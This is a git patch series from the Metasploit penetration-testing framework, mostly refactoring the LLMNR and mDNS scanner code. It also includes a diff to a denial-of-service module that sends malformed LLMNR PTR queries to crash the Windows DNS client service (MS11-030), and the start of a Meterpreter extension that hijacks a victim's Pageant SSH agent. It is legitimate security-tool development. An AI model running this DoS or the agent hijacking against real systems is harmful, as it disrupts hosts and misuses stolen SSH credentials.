54e646d38e..99fdec32f3 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -16,6 +16,10 @@ class Metasploit3 < Msf::Auxiliary info, 'Name' => 'LLMNR Query', 'Description' => %q( + This module sends LLMNR queries, which are really just normal UDP DNS + queries done (usually) over multicast on a different port, 5355. + Targets other than the default RHOSTS' 224.0.0.252 should not respond + but may anyway. ), 'Author' => [ diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 2856fd6685..7b2390d47c 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -16,6 +16,8 @@ class Metasploit3 < Msf::Auxiliary info, 'Name' => 'mDNS Query', 'Description' => %q( + This module sends mDNS queries, which are really just normal UDP DNS + queries done (usually) over multicast on a different port, 5353. ), 'Author' => [ From 093606ae231b92e1c2611a4e03e8e033ba06d0db Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 15:30:57 -0800 Subject: [PATCH 0036/2172] stash --- modules/auxiliary/scanner/mdns/query.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 7b2390d47c..ac27793eea 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -45,6 +45,12 @@ class Metasploit3 < Msf::Auxiliary def scanner_postscan(_batch) @results.each_pair do |peer, resps| resps.each do |resp| + resp_message = Resolv::DNS::Message.decode(resp) + resp_message.answer.each do |a| + puts a.class + puts a + puts "#"*20 + end print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") end end From c0d1775d86e19ca72a555e668949d043c2920c79 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 7 Jan 2015 08:37:56 -0800 Subject: [PATCH 0037/2172] Show rport in each batch --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 99fdec32f3..274cd2ac0d 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary end def scanner_prescan(batch) - print_status("Sending LLMNR #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + print_status("Sending LLMNR #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} end From 5396618a2e137af16b1f4bdc36bfd2a01cf16f4b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 7 Jan 2015 09:52:43 -0800 Subject: [PATCH 0038/2172] Build LLMNR data ourselves, since Net::DNS is too restrictive. --- lib/msf/core/auxiliary/llmnr.rb | 29 ++++++++++ .../dos/windows/llmnr/ms11_030_dnsapi.rb | 55 +++---------------- modules/auxiliary/scanner/llmnr/query.rb | 6 +- 3 files changed, 39 insertions(+), 51 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index a13d68acaa..6f0e82dee3 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -14,12 +14,37 @@ module Msf [ OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), Opt::RPORT(5355), + # TODO: allow more than one OptString.new('NAME', [true, 'The name to query', 'localhost']), OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) ], self.class) end + def build_probe + @probe ||= query + end + + # Returns the raw query message + def query + # Note that we don't use ::Net::DNS::Packet or similar here because of + # the current restrictions it places on RRs, specifically the values that + # it allows for RR names (it only allows valid RR names, we often need to + # query invalid ones for various purposes) + [ + rand(65535), # id + 0, # all-0 qr, opcode, conflict, truncation, tentative, reserved an rcode + 1, # number of questions + 0, # number of answer RRs + 0, # number of authority RRs + 0, # number of additional RRs + query_name.length, + query_name, + query_type_num, + query_class_num + ].pack("nnnnnnCa#{query_name.length + 1}nn") + end + def setup query_class_name query_type_name @@ -49,6 +74,10 @@ module Msf end end + def query_name + datastore['NAME'] + end + def query_type_name Net::DNS::RR::Types.new(query_type).to_s end diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index afb0eda518..af2cac6168 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -9,6 +9,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos + include Msf::Auxiliary::LLMNR def initialize super( @@ -35,51 +36,18 @@ class Metasploit3 < Msf::Auxiliary ], 'DisclosureDate' => 'Apr 12 2011') - register_options( + register_options( [ - Opt::RPORT(5355), - Opt::RHOST('224.0.0.252') - ]) + OptString.new('NAME', [true, 'The name to query', '.1.1.in-addr.arpa']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE# -- should be PTR)', 'PTR']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS# -- should be IN)', 'IN']) + ], Msf::Auxiliary::LLMNR) end - def make_query(str) - pkt = "" - - # id - pkt << [rand(65535)].pack('n') - - # flags - pkt << [( - '0' + # qr - '0000' + # opcode - '0' + # conflict - '0' + # truncation - '0' + # tenative - '0000' + # zero (reserved) - '0000' # rcode - )].pack('B16') - - # counts - pkt << [1,0,0,0].pack('n*') - - if str[0,1] == "." - pkt << [str.length].pack('C') - end - pkt << str + "\x00" - - # type / class (PTR/IN) - pkt << [0x0c, 0x01].pack('n*') - - pkt - end - - def run connect_udp - # query - - # various compressed queries + # TODO: various compressed queries #pkt << "\x03" + ("%d" % 192) #pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192" #pkt << ("\x01" + '1') * 0x20 @@ -89,13 +57,8 @@ class Metasploit3 < Msf::Auxiliary #pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00" #pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00" - pkt = make_query(".1.1.ip6.arpa") - print_status("Sending Ipv6 LLMNR query to #{rhost}") - udp_sock.put(pkt) - - pkt = make_query(".1.1.in-addr.arpa") - print_status("Sending Ipv4 LLMNR query to #{rhost}") - udp_sock.put(pkt) + print_status("#{rhost}:#{rport} Sending LLMNR query #{query_type_name}/#{query_type_name} for #{query_name}") + udp_sock.put(query) print_status("Note, in a default configuration, the service will restart automatically twice.") print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.") diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 274cd2ac0d..a32441dba2 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -30,17 +30,13 @@ class Metasploit3 < Msf::Auxiliary ) end - def build_probe - @probe ||= ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data - end - def scanner_process(data, shost, _sport) @results[shost] ||= [] @results[shost] << data end def scanner_prescan(batch) - print_status("Sending LLMNR #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") + print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} end From 9ccd59cefcfa7b5f992cc8d01d883e6ebeb75538 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 3 Feb 2015 13:49:45 -0800 Subject: [PATCH 0039/2172] Simplify mdns query response printing (for now) --- modules/auxiliary/scanner/mdns/query.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index ac27793eea..e43544078a 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -46,12 +46,7 @@ class Metasploit3 < Msf::Auxiliary @results.each_pair do |peer, resps| resps.each do |resp| resp_message = Resolv::DNS::Message.decode(resp) - resp_message.answer.each do |a| - puts a.class - puts a - puts "#"*20 - end - print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") + print_good("#{peer} responded with #{resp_message.inspect}") end end end From 54495a4f4c5b2bff3ced4d1542d16dd247fd6293 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 3 Feb 2015 13:50:00 -0800 Subject: [PATCH 0040/2172] Correct URL --- modules/auxiliary/scanner/mdns/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index e43544078a..c92ac78ba4 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From efd10ee08a30aec30b01055604e143fcbbb05805 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 20 Feb 2015 11:33:57 -0800 Subject: [PATCH 0041/2172] Show name in status --- modules/auxiliary/scanner/mdns/query.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index c92ac78ba4..8eb75ff64c 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Auxiliary end def scanner_prescan(batch) - print_status("Sending mDNS #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " + + "#{datastore['NAME']} to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") @results = {} end From e48425db318c651df00cc4ee4fc2f115efa48094 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 24 Feb 2015 16:06:07 -0800 Subject: [PATCH 0042/2172] Update LLMNR code to use MDNS, since the format is the same --- lib/msf/core/auxiliary/llmnr.rb | 69 +------------------------ lib/msf/core/auxiliary/mdns.rb | 28 ++++++++++ modules/auxiliary/scanner/mdns/query.rb | 6 +-- 3 files changed, 31 insertions(+), 72 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 6f0e82dee3..d665b8b205 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -1,11 +1,11 @@ # -*- coding: binary -*- -require 'net/dns' -require 'rex/proto/llmnr' +require 'msf/core/auxiliary/mdns' module Msf # This module provides methods for working with LLMNR module Auxiliary::LLMNR include Auxiliary::UDPScanner + include Auxiliary::MDNS # Initializes an instance of an auxiliary module that uses LLMNR def initialize(info = {}) @@ -20,70 +20,5 @@ module Msf OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) ], self.class) end - - def build_probe - @probe ||= query - end - - # Returns the raw query message - def query - # Note that we don't use ::Net::DNS::Packet or similar here because of - # the current restrictions it places on RRs, specifically the values that - # it allows for RR names (it only allows valid RR names, we often need to - # query invalid ones for various purposes) - [ - rand(65535), # id - 0, # all-0 qr, opcode, conflict, truncation, tentative, reserved an rcode - 1, # number of questions - 0, # number of answer RRs - 0, # number of authority RRs - 0, # number of additional RRs - query_name.length, - query_name, - query_type_num, - query_class_num - ].pack("nnnnnnCa#{query_name.length + 1}nn") - end - - def setup - query_class_name - query_type_name - end - - def query_class - if datastore['CLASS'] =~ /^\d+$/ - datastore['CLASS'].to_i - else - datastore['CLASS'].upcase - end - end - - def query_class_name - Net::DNS::RR::Classes.new(query_class).to_s - end - - def query_class_num - Net::DNS::RR::Classes.new(query_class).to_i - end - - def query_type - if datastore['TYPE'] =~ /^\d+$/ - datastore['TYPE'].to_i - else - datastore['TYPE'].upcase - end - end - - def query_name - datastore['NAME'] - end - - def query_type_name - Net::DNS::RR::Types.new(query_type).to_s - end - - def query_type_num - Net::DNS::RR::Types.new(query_type).to_i - end end end diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 7976ebaecc..6a8e3ffa31 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -25,6 +25,30 @@ module Msf query_type_name end + def build_probe + @probe ||= query + end + + # Returns the raw query message + def query + # Note that we don't use ::Net::DNS::Packet or similar here because of + # the current restrictions it places on RRs, specifically the values that + # it allows for RR names (it only allows valid RR names, we often need to + # query invalid ones for various purposes) + [ + rand(65535), # id + 0, # all-0 qr, opcode, conflict, truncation, tentative, reserved an rcode + 1, # number of questions + 0, # number of answer RRs + 0, # number of authority RRs + 0, # number of additional RRs + query_name.length, + query_name, + query_type_num, + query_class_num + ].pack("nnnnnnCa#{query_name.length + 1}nn") + end + def query_class if datastore['CLASS'] =~ /^\d+$/ datastore['CLASS'].to_i @@ -49,6 +73,10 @@ module Msf end end + def query_name + datastore['NAME'] + end + def query_type_name Net::DNS::RR::Types.new(query_type).to_s end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 8eb75ff64c..69d0143756 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -28,10 +28,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def build_probe - @probe ||= ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data - end - def scanner_process(data, shost, _sport) @results[shost] ||= [] @results[shost] << data @@ -39,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary def scanner_prescan(batch) print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " + - "#{datastore['NAME']} to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + "#{datastore['NAME']} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} end From ab0d0d4ad4f7463a0c714e404f6d5cad60cad184 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 25 Feb 2015 08:53:38 -0800 Subject: [PATCH 0043/2172] Remove UDPScanner from MDNS and LLMNR mixin -- leave that for modules --- lib/msf/core/auxiliary/llmnr.rb | 1 - lib/msf/core/auxiliary/mdns.rb | 7 +------ modules/auxiliary/scanner/llmnr/query.rb | 4 ++++ modules/auxiliary/scanner/mdns/query.rb | 6 ++++++ 4 files changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index d665b8b205..68b3de1c2d 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -4,7 +4,6 @@ require 'msf/core/auxiliary/mdns' module Msf # This module provides methods for working with LLMNR module Auxiliary::LLMNR - include Auxiliary::UDPScanner include Auxiliary::MDNS # Initializes an instance of an auxiliary module that uses LLMNR diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index 6a8e3ffa31..7da69af4c5 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -5,7 +5,6 @@ require 'rex/proto/mdns' module Msf # This module provides methods for working with mDNS module Auxiliary::MDNS - include Auxiliary::UDPScanner # Initializes an instance of an auxiliary module that uses mDNS def initialize(info = {}) @@ -25,10 +24,6 @@ module Msf query_type_name end - def build_probe - @probe ||= query - end - # Returns the raw query message def query # Note that we don't use ::Net::DNS::Packet or similar here because of @@ -36,7 +31,7 @@ module Msf # it allows for RR names (it only allows valid RR names, we often need to # query invalid ones for various purposes) [ - rand(65535), # id + 0, # rand(65535), # id 0, # all-0 qr, opcode, conflict, truncation, tentative, reserved an rcode 1, # number of questions 0, # number of answer RRs diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index a32441dba2..a5a03d8b26 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -30,6 +30,10 @@ class Metasploit3 < Msf::Auxiliary ) end + def build_probe + @probe ||= query + end + def scanner_process(data, shost, _sport) @results[shost] ||= [] @results[shost] << data diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 69d0143756..b861ca52f5 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -28,6 +28,12 @@ class Metasploit3 < Msf::Auxiliary ) end + def build_probe + @probe ||= query + #@probe[@probe.size-2] = [0x80].pack('C') + #@probe + end + def scanner_process(data, shost, _sport) @results[shost] ||= [] @results[shost] << data From a1c80d9f18b740a4c02e28ba5e93bab0f56e1159 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 25 Feb 2015 08:54:08 -0800 Subject: [PATCH 0044/2172] Fix URL --- modules/auxiliary/scanner/llmnr/query.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index a5a03d8b26..9360d1e8de 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From d75f55e4937b63b500b51a1d5ce08002cf34f59a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 26 Feb 2015 11:23:38 -0600 Subject: [PATCH 0045/2172] Rex should not depend on ActiveSupport, .blank? is not stdlib Ruby --- lib/rex/exploitation/js/memory.rb | 2 +- lib/rex/mime/message.rb | 2 +- lib/rex/parser/fusionvm_nokogiri.rb | 4 ++-- lib/rex/post/meterpreter/client_core.rb | 4 ++-- lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb | 2 +- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 2 +- lib/rex/proto/kademlia/bootstrap_response.rb | 4 ++-- lib/rex/zip/blocks.rb | 2 +- lib/rex/zip/entry.rb | 2 +- 9 files changed, 12 insertions(+), 12 deletions(-) diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb index f8fb22c77e..02bf4a3f19 100644 --- a/lib/rex/exploitation/js/memory.rb +++ b/lib/rex/exploitation/js/memory.rb @@ -27,7 +27,7 @@ class Memory def self.heaplib2(custom_js='', opts={}) js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js")) - unless custom_js.blank? + unless custom_js.to_s.empty? js << custom_js end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index 150a7c081b..01440db0ae 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -126,7 +126,7 @@ class Message header_string = self.header.to_s msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n") - msg << force_crlf(self.content + "\r\n") unless self.content.blank? + msg << force_crlf(self.content + "\r\n") unless self.content.to_s.empty? self.parts.each do |part| msg << force_crlf("--" + self.bound + "\r\n") diff --git a/lib/rex/parser/fusionvm_nokogiri.rb b/lib/rex/parser/fusionvm_nokogiri.rb index 8af80d5747..bff2821e18 100644 --- a/lib/rex/parser/fusionvm_nokogiri.rb +++ b/lib/rex/parser/fusionvm_nokogiri.rb @@ -59,7 +59,7 @@ module Parser unless in_tag("JobOrder") case name when "OS" - unless @host.nil? or @text.blank? + unless @host.nil? or @text.to_s.empty? tnote = { :type => "host.os.fusionvm_fingerprint", :data => { :os => @text.strip }, @@ -86,7 +86,7 @@ module Parser when "CVE" @vuln[:refs] << "CVE-#{@text.strip}" when "References" - unless @text.blank? + unless @text.to_s.empty? @text.split(' ').each do |ref| next unless ref.start_with? "http" if ref =~ /MS\d{2}-\d{3}/ diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ab67096026..6efc911da3 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -219,7 +219,7 @@ class ClientCore < Extension end if client.platform =~ /linux/ - if writable_dir.blank? + if writable_dir.to_s.empty? writable_dir = tmp_folder end @@ -440,7 +440,7 @@ class ClientCore < Extension def tmp_folder tmp = client.sys.config.getenv('TMPDIR') - if tmp.blank? + if tmp.to_s.empty? tmp = '/tmp' end diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb index fde12f624e..58eb7dce4e 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb @@ -31,7 +31,7 @@ class Wmi def query(query, root = nil) request = Packet.create_request('extapi_wmi_query') - request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank? + request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.to_s.empty? request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query) response = client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6e..b140c2b0db 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -69,7 +69,7 @@ class Webcam remote_browser_path = get_webrtc_browser_path - if remote_browser_path.blank? + if remote_browser_path.to_s.empty? raise RuntimeError, "Unable to find a suitable browser on the target machine" end diff --git a/lib/rex/proto/kademlia/bootstrap_response.rb b/lib/rex/proto/kademlia/bootstrap_response.rb index b985ba51a7..71417f3983 100644 --- a/lib/rex/proto/kademlia/bootstrap_response.rb +++ b/lib/rex/proto/kademlia/bootstrap_response.rb @@ -51,14 +51,14 @@ module Kademlia bootstrap_peer_id = Rex::Proto::Kademlia.decode_peer_id(message.body.slice!(0, 16)) bootstrap_tcp_port, bootstrap_version, num_peers = message.body.slice!(0, 5).unpack('vCv') # protocol says there are no peers and the body confirms this, so just return with no peers - if num_peers == 0 && message.body.blank? + if num_peers == 0 && message.body.to_s.empty? peers = [] else peers_data = message.body # peers data is too long/short, abort return if peers_data.size % BOOTSTRAP_PEER_SIZE != 0 peers = [] - until peers_data.blank? + until peers_data.to_s.empty? peer_data = peers_data.slice!(0, BOOTSTRAP_PEER_SIZE) peer_id = Rex::Proto::Kademlia.decode_peer_id(peer_data.slice!(0, 16)) ip, udp_port, tcp_port, version = peer_data.unpack('VvvC') diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb index 3f0da7ecba..4dc2892d5f 100644 --- a/lib/rex/zip/blocks.rb +++ b/lib/rex/zip/blocks.rb @@ -116,7 +116,7 @@ class CentralDir end def pack - if @entry.central_dir_name.blank? + if @entry.central_dir_name.to_s.empty? path = @entry.relative_path else path = @entry.central_dir_path diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index b1c4a352dc..4e90189126 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -76,7 +76,7 @@ class Entry end def central_dir_path - return nil if @central_dir_name.blank? + return nil if @central_dir_name.to_s.empty? get_relative_path(@central_dir_name) end From 9aaa2ec8cc5d266c7c1503e78cf616a3e57bfbb2 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 27 Apr 2015 16:23:35 -0500 Subject: [PATCH 0046/2172] First pass at making webcam_chat more functional --- lib/rex/compat.rb | 9 +++++---- .../post/meterpreter/extensions/stdapi/webcam/webcam.rb | 2 ++ 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index cc6656715b..46d61dae15 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/') app_data = ENV['APPDATA'] paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - paths.each do |p| - if File.exists?(p) - args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + paths.each do |path| + if File.exists?(path) + args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") found_browser = true break @@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") found_browser = true + break end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6e..2ca534943b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -103,7 +103,9 @@ class Webcam case client.platform when /win/ paths = [ + "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", "Program Files\\Google\\Chrome\\Application\\chrome.exe", + "Program Files (x86)\\Mozilla Firefox\\firefox.exe", "Program Files\\Mozilla Firefox\\firefox.exe" ] From c8174119bfd0fa54fae5531af872dbeac77cca3f Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 11:29:20 +0100 Subject: [PATCH 0047/2172] Initial working pageant extension --- .../extensions/pageantjacker/pageantjacker.rb | 79 +++++++++ .../extensions/pageantjacker/tlv.rb | 18 ++ .../command_dispatcher/pageantjacker.rb | 165 ++++++++++++++++++ 3 files changed, 262 insertions(+) create mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb create mode 100644 lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb new file mode 100644 index 0000000000..56a179e466 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/pageantjacker/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Pageantjacker + +### +# +# PageantJacker extension - Hijack and interact with Pageant +# +# Stuart Morgan +# +### + +class Pageantjacker < Extension + + def initialize(client) + super(client, 'pageantjacker') + + client.register_extension_aliases( + [ + { + 'name' => 'pageantjacker', + 'ext' => self + }, + ]) + end + + def forward_to_pageant(blob,size) + return unless size > 0 + return unless blob.size > 0 + puts "Request indicated size: #{size}" + parse_blob(blob) + + packet_request = Packet.create_request('pageant_send_query') + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) + packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) + + response = client.send_request(packet_request) + response_success = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS) + returned_blob = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) + error = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) + + puts "Response success: #{response_success}, Response error #{error}" + parse_blob(returned_blob) + + if response_success +# puts "Received successful response: #{returned_blob.size}" +# puts "Error is: #{error}" +# puts returned_blob.unpack('NCH*') + return returned_blob + else +# puts "Received error message: #{error}" + return nil + end + + return nil + end + + def parse_blob(blob) + b = blob.unpack('NCH*') + puts " blob size #{blob.size}" + puts " blob data (20 chars: #{blob.unpack('H20').first}" + puts " ssh packet size: #{b[0]}" + puts " ssh type: #{b[1]}" + puts " ssh data: #{b[2]}" + end + + def stop_listening + end + +end + +end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb new file mode 100644 index 0000000000..2978313275 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb @@ -0,0 +1,18 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Pageantjacker + +TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1) +TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) 